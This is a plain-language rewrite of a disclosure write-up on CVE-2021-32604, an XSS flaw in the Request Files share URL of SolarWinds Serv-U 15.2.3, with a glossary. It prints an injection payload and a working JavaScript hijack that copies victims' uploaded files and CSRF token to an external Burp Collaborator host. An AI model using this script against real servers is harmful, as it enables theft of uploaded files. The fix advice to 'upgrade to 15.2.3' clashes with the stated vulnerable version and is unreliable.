Solarwinds Serv-U 15.2.3 Share URL XSS (CVE-2021-32604)
The Sender Email field in Serv-U's Request Files feature was not encoded when placed into a publicly accessible share URL, allowing an authenticated low-privileged user to inject script that executes when the URL is visited. An attacker could use this to run script in the context of the share URL, potentially intercepting uploaded files.
Published on trustwave.com
Change theme to light
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
SolarWinds Serv-U is an FTP server that also ships a web application for sharing files. Two features let a user exchange files with people outside the server: one to send files and one to request them. The 'Request Files' feature generates a link that can be handed to someone else, who then uploads files through a form in the browser; whatever they upload lands in the Serv-U folder of the user who created the link.
The write-up describes a cross-site scripting flaw in that share URL generation, tracked as CVE-2021-32604. The initial vector needs an authenticated account, but only a low-privileged one, and the resulting URL is publicly accessible and sits on the trusted Serv-U domain.
Setup
The researcher was penetration testing a large network and came across exposed web hosts running out-of-the-box software. The host being tested was running an older version of Serv-U, so a trial copy of version 15.2.3 was downloaded to check whether the issue still applied. All the reproduction steps below were tested on 15.2.3.
The only precondition is an authenticated Serv-U session with enough rights to use the 'Request Files' tab. No administrative role is needed.
Finding it
While testing the 'Request Files' feature, the researcher noticed that the Sender Email input was not encoded when it was placed into the publicly accessible share URL. Because the value ends up in the URL itself, a discreet link carrying markup could be sent to a victim.
Exploitation
Step 1: generate a file request URL
Once authenticated, a user opens the 'Request Files' tab to generate a file request URL.
Step 2: send the request with dummy data
Using dummy data and sending the request produces a publicly shareable URL.
Step 3: confirm what the link does
Opening the generated URL shows a file upload form. Files uploaded there are sent back to the Serv-U folder of the link creator.
Step 4: inject the payload in SenderEmail
The original link generation request is modified so that the 'SenderEmail' field carries an XSS payload:
"'/><script>alert(7)%3b</script>%[redacted]
The payload places a <script> element in the SenderEmail value.
Step 5: take the ShareURL from the response
The 'ShareURL' is then taken from the response to that modified request.
Step 6: visit the share URL
Opening the share URL now executes the injected script: the XSS fires on the publicly shareable URL.
Weaponization
The researcher considered several ways to turn this into something more than an alert box. Stealing cookies or performing CSRF against a logged-in Serv-U user did not work out: certain application flows got in the way, and the web application does not load the shareable links when a user is already logged in. That rules out the obvious session-hijacking path.
The alternative was a man-in-the-middle style attack on the upload: intercept the files a victim uploads and send them to a third-party server as well, without changing what the page looks like. The scenario is a red team or social engineering engagement where access to a Serv-U account is available and the URLs sit on a trusted domain.
Because the page uses asynchronous Ajax calls, getting the files to upload correctly to Serv-U and to be sent off at the same time took some tweaking. The script is hosted and injected through the XSS using <script> tags. In outline it:
- Grabs the current CSRF token from the page.
- Rewrites the 'SubmitForm' function so that it posts to an external host instead.
- Calls an Ajax method that POSTs the files to the original Serv-U host, so the original promise to the user is still met.
var csrftoken = $('script').text().match(/(&CsrfToken='\+")(.*?)";/)[2];function SubmitForm(rForm, rFormsTargetFrame, sFileName, nTransferID, bIsVirtual) { var bSubmitted = false; SubmitOriginal(rForm, rFormsTargetFrame, sFileName, nTransferID, bIsVirtual); if (rForm != null && rForm != undefined && rFormsTargetFrame != null && rFormsTargetFrame != undefined && sFileName != undefined && sFileName != null && sFileName != '' && nTransferID > 0) { if (bIsVirtual == undefined || bIsVirtual == null) bIsVirtual = 0; var sAction = 'http://SOMEURL.burpcollaborator.net/Web Client/Share/MultipleFileUploadResult.htm?Command=UploadFileShare&TransferID=' + nTransferID + '&File=' + encodeURIComponent(sFileName) + '&ShareToken=' + g_sShareToken + '&IsVirtual=' + bIsVirtual + '&CsrfToken=' + csrftoken; rForm.setAttribute('action', sAction); rFormsTargetFrame.onload = null; rFormsTargetFrame.src = '/Web Client/Share/MultipleFileUploadResetFrame.htm'; rForm.submit(); bSubmitted = true; } else ASSERT('Cannot submit form because function parameters are invalid.'); return bSubmitted;}function SubmitOriginal(rForm, rFormsTargetFrame, sFileName, nTransferID, bIsVirtual) { jQuery.ajax({ url: '/Web Client/Share/MultipleFileUploadResult.htm?Command=UploadFileShare&TransferID=' + nTransferID + '&File=' + encodeURIComponent(sFileName) + '&ShareToken=' + g_sShareToken + '&IsVirtual=' + bIsVirtual + '&CsrfToken=' + csrftoken, data: new FormData(rForm), cache: false, contentType: false, processData: false, method: 'POST' });}
The token is pulled out of the page's script text with a regular expression. SubmitForm first calls SubmitOriginal, which performs the genuine upload to the Serv-U host through jQuery.ajax with the form data, then repoints the form's action at the external Burp Collaborator host, clears the frame's onload handler, resets the target frame and submits the form again. The external URL carries the transfer ID, the file name, the share token, the virtual flag and the CSRF token as query parameters.
Root cause
The Sender Email value is placed into the publicly accessible share URL without being encoded. The report does not describe the server-side code, so the exact encoding step that is missing is not shown; what is clear is that user-controlled input reaches the generated URL unescaped and is later rendered in the browser, where the injected <script> executes. The payload was accepted at link generation and ended up in the share URL that was handed out.
Impact
The flaw requires an authenticated, low-privileged account to create the malicious share URL. From there the link is public and lives on a trusted domain, which makes it plausible to deliver to a victim in a phishing or social engineering context. The researcher notes that cookie stealing and CSRF against a logged-in Serv-U user were not achievable because the application does not load shareable links for users who are already logged in. The researcher proposed page hijacking: a script that forwards uploaded files to a third-party server while still completing the upload to Serv-U.
Fix
Administrators should upgrade to Serv-U 15.2.3 or the latest stable version. The vulnerability was reported to SolarWinds under Trustwave's Responsible Disclosure policy, and the accompanying advisory is TWSL2021-009, 'Persistent Cross-Site Scripting in SolarWinds Serv-U FTP Server'.
Variants to test
- A positive result is a generated URL that executes a harmless
alertwhen opened in a fresh browser session. - The same 'Request Files' flow on other Serv-U versions, including older builds found on exposed hosts. A positive result is the same unencoded Sender Email behaviour on a version other than 15.2.3.
- A positive result is a share URL containing unescaped markup from any user-supplied field.
- Upload interception through injected script on any share page that performs Ajax uploads. A positive result is a copy of the uploaded file arriving at a host you control while the original upload still succeeds.
What happened, in plain words
SolarWinds Serv-U is a program that lets a company run its own file server. Besides the classic FTP part (a way of moving files between computers), it ships a web application: a set of pages you open in a browser to share files with people outside the company. Two features exist for exchanging files with outsiders: one to send files to someone, and one to request files from someone. The 'Request Files' feature creates a link that you can hand to another person. When that person opens the link, they see a form in their browser and upload files through it. Whatever they upload ends up in the Serv-U folder of the person who created the link.
A security researcher found a flaw in how that share link is generated. The flaw is a cross-site scripting (XSS) bug, tracked as CVE-2021-32604. In plain terms, XSS means that a web page can be tricked into running JavaScript code that the page's owner never intended. JavaScript is the programming language that browsers run to make pages interactive; if an attacker can get their own JavaScript into a page, that code runs with the same trust as the site itself.
To create the malicious link, the attacker needs to be logged in to Serv-U, but only with a low-privileged account, not an administrator. The link that comes out is publicly accessible and sits on the trusted Serv-U domain, which makes it easier to send to a victim without raising suspicion.
Setup
The researcher was doing a penetration test, which is an authorised security assessment of a network, and came across exposed web hosts running out-of-the-box software. The host being tested was running an older version of Serv-U, so a trial copy of version 15.2.3 was downloaded to check whether the issue still applied. All the reproduction steps below were tested on 15.2.3.
The only precondition is an authenticated Serv-U session with enough rights to use the 'Request Files' tab. No administrative role is needed.
Finding it
While testing the 'Request Files' feature, the researcher noticed that the Sender Email input was not encoded when it was placed into the publicly accessible share URL. Encoding is the process of converting special characters into a safe form so that a browser treats them as plain text rather than as instructions. Because the value ends up in the URL itself, a discreet link carrying markup could be sent to a victim. Markup here means characters such as < and > that a browser interprets as HTML, the language used to structure web pages.
Exploitation
Step 1: generate a file request URL
Once authenticated, a user opens the 'Request Files' tab to generate a file request URL.
Step 2: send the request with dummy data
Using dummy data and sending the request produces a publicly shareable URL. Dummy data means fake values used so that no real person is contacted during testing. The point of this step is to confirm that the feature really does produce a link that anyone can open, without needing to log in.
Step 3: confirm what the link does
Opening the generated URL shows a file upload form. Files uploaded there are sent back to the Serv-U folder of the link creator. This step matters because it establishes the normal purpose of the link: it is a page where a stranger can drop files into someone else's folder. That is the behaviour the attacker will later abuse.
Step 4: inject the payload in SenderEmail
The original link generation request is modified so that the 'SenderEmail' field carries an XSS payload. A payload is the piece of input that carries the attack. The request is the message the browser sends to the server when you submit a form; modifying it means intercepting that message and changing a value before it reaches the server, typically with a tool that sits between the browser and the site.
"'/><script>alert(7)%3b</script>%[redacted]
Line by line, in plain words:
"'/>is part of the payload that precedes the script element.<script>opens an HTML script element. Everything until the matching closing tag is treated as JavaScript and executed by the browser.alert(7)is a harmless JavaScript instruction that makes the browser show a pop-up box containing the number 7. Researchers use it because it proves code ran without doing any damage.%3bis an encoded semicolon.</script>closes the script element.%40is an encoded@sign, followed by[redacted].
Step 5: take the ShareURL from the response
The 'ShareURL' is then taken from the response to that modified request. The response is what the server sends back after receiving the request; in this case it contains the freshly generated share link. The link now contains the injected payload, because the Sender Email input was not encoded when placed in the share URL.
Step 6: visit the share URL
Opening the share URL now executes the injected script: the XSS fires on the publicly shareable URL. In other words, anyone who opens the link in a browser runs the attacker's JavaScript, even though they never logged in to Serv-U.
Weaponization
Weaponization means turning a proof, such as a pop-up box, into something that actually achieves a goal. The researcher considered several ways to do that. Stealing cookies or performing CSRF against a logged-in Serv-U user did not work out. A cookie is a small piece of data a website stores in your browser so it can recognise you on later requests; stealing one can let an attacker act as you. CSRF, cross-site request forgery, is an attack where a page you visit silently makes your browser send a request to another site where you are logged in. Both paths were blocked: certain application flows got in the way, and the web application does not load the shareable links when a user is already logged in. That rules out the obvious session-hijacking path, where an attacker takes over an existing logged-in session.
The alternative was a man-in-the-middle style attack on the upload: intercept the files a victim uploads and send them to a third-party server as well, without changing what the page looks like. A man-in-the-middle attack is one where the attacker sits between two parties and can observe or alter what passes between them. The scenario is a red team or social engineering engagement, meaning an authorised simulated attack or a scenario where people are manipulated into doing something, where access to a Serv-U account is available and the URLs sit on a trusted domain.
Because the page uses asynchronous Ajax calls, getting the files to upload correctly to Serv-U and to be sent off at the same time took some tweaking. Ajax is a technique where a web page talks to the server in the background, without reloading the whole page; asynchronous means the page does not wait for one request to finish before doing other things. The script is hosted and injected through the XSS using <script> tags. In outline it:
- Grabs the current CSRF token from the page. A CSRF token is a random value the site puts in a page so that it can tell a genuine form submission from a forged one; without it, the server would reject the upload.
- Rewrites the 'SubmitForm' function so that it posts to an external host instead. A function is a named block of code that does a job; posting means sending data to a server.
- Calls an Ajax method that POSTs the files to the original Serv-U host, so the original promise to the user is still met. In other words, the victim's upload still succeeds, which is what keeps the page looking normal.
var csrftoken = $('script').text().match(/(&CsrfToken='\+")(.*?)";/)[2];function SubmitForm(rForm, rFormsTargetFrame, sFileName, nTransferID, bIsVirtual) { var bSubmitted = false; SubmitOriginal(rForm, rFormsTargetFrame, sFileName, nTransferID, bIsVirtual); if (rForm != null && rForm != undefined && rFormsTargetFrame != null && rFormsTargetFrame != undefined && sFileName != undefined && sFileName != null && sFileName != '' && nTransferID > 0) { if (bIsVirtual == undefined || bIsVirtual == null) bIsVirtual = 0; var sAction = 'http://SOMEURL.burpcollaborator.net/Web Client/Share/MultipleFileUploadResult.htm?Command=UploadFileShare&TransferID=' + nTransferID + '&File=' + encodeURIComponent(sFileName) + '&ShareToken=' + g_sShareToken + '&IsVirtual=' + bIsVirtual + '&CsrfToken=' + csrftoken; rForm.setAttribute('action', sAction); rFormsTargetFrame.onload = null; rFormsTargetFrame.src = '/Web Client/Share/MultipleFileUploadResetFrame.htm'; rForm.submit(); bSubmitted = true; } else ASSERT('Cannot submit form because function parameters are invalid.'); return bSubmitted;}function SubmitOriginal(rForm, rFormsTargetFrame, sFileName, nTransferID, bIsVirtual) { jQuery.ajax({ url: '/Web Client/Share/MultipleFileUploadResult.htm?Command=UploadFileShare&TransferID=' + nTransferID + '&File=' + encodeURIComponent(sFileName) + '&ShareToken=' + g_sShareToken + '&IsVirtual=' + bIsVirtual + '&CsrfToken=' + csrftoken, data: new FormData(rForm), cache: false, contentType: false, processData: false, method: 'POST' });}
Line by line, in plain words:
var csrftoken = $('script').text().match(/(&CsrfToken='\+")(.*?)";/)[2];looks through the page's script text for the CSRF token and stores it in a variable, which is a named box that holds a value. The regular expression, the pattern between the slashes, describes what the token looks like; the[2]picks out the captured part.function SubmitForm(...)declares the function that the page calls when the upload form is submitted. The parameters in the brackets are the pieces of information the page passes in: the form, the frame that receives the result, the file name, a transfer ID and a virtual flag.var bSubmitted = false;sets up a variable that records whether the submission succeeded, starting as false.SubmitOriginal(...)calls the second function first, so the genuine upload to Serv-U happens before anything else.- The long
if (...)checks that the form, the frame, the file name and the transfer ID are all present and valid. If any of them is missing, the code falls through to the error message instead of continuing. if (bIsVirtual == undefined || bIsVirtual == null) bIsVirtual = 0;gives the virtual flag a default value of 0 when it was not supplied.var sAction = 'http://SOMEURL.burpcollaborator.net/...'builds the address of the external server, with the transfer ID, the file name, the share token, the virtual flag and the CSRF token appended as query parameters. Query parameters are thename=valuepairs after the?in a URL. Burp Collaborator is a service that gives a researcher a host they control so they can see requests arriving at it.rForm.setAttribute('action', sAction);changes where the form will send its data, pointing it at the external server instead of Serv-U.rFormsTargetFrame.onload = null;removes the handler that would otherwise run when the frame finishes loading, so the page does not react in a way that would reveal the trick.rFormsTargetFrame.src = '/Web Client/Share/MultipleFileUploadResetFrame.htm';resets the target frame to a clean page.rForm.submit();sends the form to the new address, which is the copy that goes to the attacker.bSubmitted = true;records that the submission happened.else ASSERT('Cannot submit form because function parameters are invalid.');is the error path when the checks fail.return bSubmitted;hands the result back to the page.function SubmitOriginal(...)declares the helper that performs the real upload.jQuery.ajax({...})uses the jQuery library, a common collection of JavaScript helpers, to send a background request. Theurlis the original Serv-U upload address with the same parameters,data: new FormData(rForm)carries the actual file contents, andmethod: 'POST'means the data is sent in the body of the request rather than in the URL.
Root cause
The Sender Email value is placed into the publicly accessible share URL without being encoded. The report does not describe the server-side code, so the exact encoding step that is missing is not shown; what is clear is that user-controlled input reaches the generated URL unescaped and is later rendered in the browser, where the injected <script> executes. The payload was accepted at link generation and ended up in the share URL that was handed out.
Impact
The flaw requires an authenticated, low-privileged account to create the malicious share URL. From there the link is public and lives on a trusted domain, which makes it plausible to deliver to a victim in a phishing or social engineering context. Phishing is a message that tricks someone into clicking a link or opening an attachment. The researcher notes that cookie stealing and CSRF against a logged-in Serv-U user were not achievable because the application does not load shareable links for users who are already logged in. The researcher proposed page hijacking: a script that forwards uploaded files to a third-party server while still completing the upload to Serv-U.
Fix
Administrators should upgrade to Serv-U 15.2.3 or the latest stable version. The vulnerability was reported to SolarWinds under Trustwave's Responsible Disclosure policy, a set of rules for telling a vendor about a flaw privately so it can be fixed before details are published. The accompanying advisory is TWSL2021-009, 'Persistent Cross-Site Scripting in SolarWinds Serv-U FTP Server'. An advisory is the public notice describing the flaw and its fix.
Variants to test
- A positive result is a generated URL that executes a harmless
alertwhen opened in a fresh browser session. - The same 'Request Files' flow on other Serv-U versions, including older builds found on exposed hosts. A positive result is the same unencoded Sender Email behaviour on a version other than 15.2.3.
- A positive result is a share URL containing unescaped markup from any user-supplied field.
- Upload interception through injected script on any share page that performs Ajax uploads. A positive result is a copy of the uploaded file arriving at a host you control while the original upload still succeeds.
Glossary
- FTP server: a computer program that stores files and lets other computers send and receive them over a network using the FTP protocol.
- Web application: software you use through a browser, where the pages and forms talk to a server behind the scenes.
- Cross-site scripting (XSS): a flaw where a website lets an attacker's JavaScript run in another person's browser as if it were part of the site.
- JavaScript: the programming language that browsers run to make web pages interactive.
- HTML: the language used to structure web pages, made of tags such as
<script>. - Markup: characters and tags in HTML that a browser interprets as structure rather than plain text.
- Encoding: converting special characters into a safe form so they are treated as text, not instructions.
- Payload: the piece of input that carries an attack.
- Request: the message a browser sends to a server, for example when you submit a form.
- Response: the message a server sends back after receiving a request.
- CVE: a public identifier for a known vulnerability, here CVE-2021-32604.
- Penetration test: an authorised security assessment in which a tester tries to break into a system.
- Low-privileged account: a user account with only ordinary rights, not administrator rights.
- Cookie: a small piece of data a site stores in your browser so it can recognise you later.
- Session hijacking: taking over someone else's logged-in session, often by stealing their cookie.
- CSRF: cross-site request forgery, where a page you visit silently makes your browser send a request to another site where you are logged in.
- CSRF token: a random value placed in a page so the server can tell a genuine form submission from a forged one.
- Man-in-the-middle attack: an attack where someone sits between two parties and can observe or alter what passes between them.
- Red team: an authorised simulated attack against an organisation, run to test its defences.
- Social engineering: manipulating people into doing something, such as clicking a link or opening a file.
- Phishing: a message that tricks someone into clicking a link or opening an attachment.
- Ajax: a technique where a page talks to the server in the background without reloading.
- Asynchronous: not waiting for one task to finish before starting another.
- Function: a named block of code that performs a job and can be called by name.
- Variable: a named box in code that holds a value.
- Regular expression: a pattern used to find or extract text.
- Query parameter: a
name=valuepair after the?in a URL that passes information to the server. - jQuery: a widely used collection of JavaScript helpers that simplifies tasks such as background requests.
- Burp Collaborator: a service that gives a researcher a host they control so they can see requests arriving at it.
- Page hijacking: changing what a page does behind the scenes, for example forwarding data elsewhere, while it still looks normal to the user.
- Advisory: a public notice describing a vulnerability and its fix.
- Responsible disclosure: telling a vendor about a flaw privately so it can be fixed before details are published.